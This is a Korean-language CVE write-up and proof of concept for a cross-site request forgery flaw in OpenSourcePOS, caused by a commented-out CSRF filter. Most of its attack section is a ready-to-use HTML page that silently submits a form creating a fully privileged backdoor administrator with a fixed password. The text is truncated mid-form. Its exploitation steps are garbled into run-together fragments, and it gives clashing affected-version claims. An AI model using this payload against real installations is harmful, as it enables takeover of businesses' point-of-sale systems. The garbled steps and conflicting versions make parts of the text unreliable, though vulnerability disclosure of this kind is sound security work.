
PoC & Write-up for CVE-2025-68434: OpenSourcePOS의 치명적인 CSRF 취약점에 대한 분석입니다. 비활성화된 필터 설정을 악용하여 인증되지 않은 공격자가 가짜 관리자 계정을 무단 생성할 수 있게 하며, 이는 전체 시스템 장악으로 이어집니다. 버전 < 3.4.0에서 검증됨.
| 메타데이터 | 세부사항 |
|---|---|
| CVE ID | CVE-2025-68434 |
| 심각도 | 심각 (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| 취약점 유형 | 사이트 간 요청 위조 (CWE-352) |
| 영향받는 버전 | OpenSourcePOS v3.4.0, v3.4.1 |
| 패치 버전 | v3.4.2 |
| 취약한 구성 요소 | app/Config/Filters.php (전역 보안 필터) |
| 제보자 | Aditya Singh (Nixon-H) |
OpenSourcePOS의 핵심 보안 구성에서 심각한 사이트 간 요청 위조(CSRF) 취약점이 발견되었습니다. 애플리케이션의 전역 CSRF 보호 메커니즘이 app/Config/Filters.php 파일 내에서 임시 개발 "TODO"로 인해 명시적으로 비활성화되었으며, 이는 결코 해결되지 않았습니다.
이러한 잘못된 구성으로 인해 애플리케이션은 유효한 위조 방지 토큰을 확인하지 않고 상태를 변경하는 HTTP 요청(POST)을 수락할 수 있었습니다. 인증되지 않은 원격 공격자는 로그인된 관리자를 악의적인 페이지로 방문하도록 속여 이 취약점을 악용할 수 있습니다. 공격자의 페이지는 피해자의 브라우저가 관리 작업(특히 전체 권한을 가진 새로운 "백도어" 관리자 계정 생성)을 자동으로 실행하도록 하여 완전한 시스템 장악을 초래합니다.
취약점은 전역 필터 구성(app/Config/Filters.php)에 있었습니다. CodeIgniter 4에서 $globals 배열은 모든 요청에 대해 실행할 필터를 결정합니다.
영향을 받는 버전에서는 csrf 필터가 before 실행 목록에서 주석 처리되어 애플리케이션 전체에서 CSRF 보호가 효과적으로 비활성화되었습니다.
취약한 코드 (app/Config/Filters.php):
public array $globals = [
'before' => [
'honeypot',
// 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
'invalidchars',
],
// ...
];
이 줄이 주석 처리되었기 때문에 csrf_token_name을 확인하는 미들웨어가 실행되지 않았습니다. 애플리케이션은 모든 출처의 모든 POST 요청을 수락했으며, 인증을 위해 세션 쿠키(ospos_session)에만 의존했습니다.
csrf_exploit.html 파일을 호스팅합니다.valid_12345)이 즉시 생성됩니다.POC/csrf_exploit.html)다음은 전체 권한을 가진 불량 관리자를 생성하는 데 사용된 정확한 페이로드입니다:
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit (Verified)</title>
<style>
body { font-family: sans-serif; text-align: center; padding: 50px; }
.status { color: green; font-weight: bold; }
</style>
</head>
<body>
<h2>OSPOS Privilege Escalation Exploit</h2>
<p>Creating Administrator account...</p>
<p id="msg" class="status">Initializing payload...</p>
<form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">
<input type="hidden" name="first_name" value="Valid">
<input type="hidden" name="last_name" value="User">
<input type="hidden" name="username" id="username" value="">
<input type="hidden" name="email" id="email" value="">
<input type="hidden" name="phone_number" value="">
<input type="hidden" name="password" value="Password123!">
<input type="hidden" name="repeat_password" value="Password123!">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="language" value=":">
<input type="hidden" name="address_1" value="">
<input type="hidden" name="address_2" value="">
<input type="hidden" name="city" value="">
<input type="hidden" name="state" value="">
<input type="hidden" name="zip" value="">
<input type="hidden" name="country" value="">
<input type="hidden" name="comments" value="CSRF_PoC_Successful">
<input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
<input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
<input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
<input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
<input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
<input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
<input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
<input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
<input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
<input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
<input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
<input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
<input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
<input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
<input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
<input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
<input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
<input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">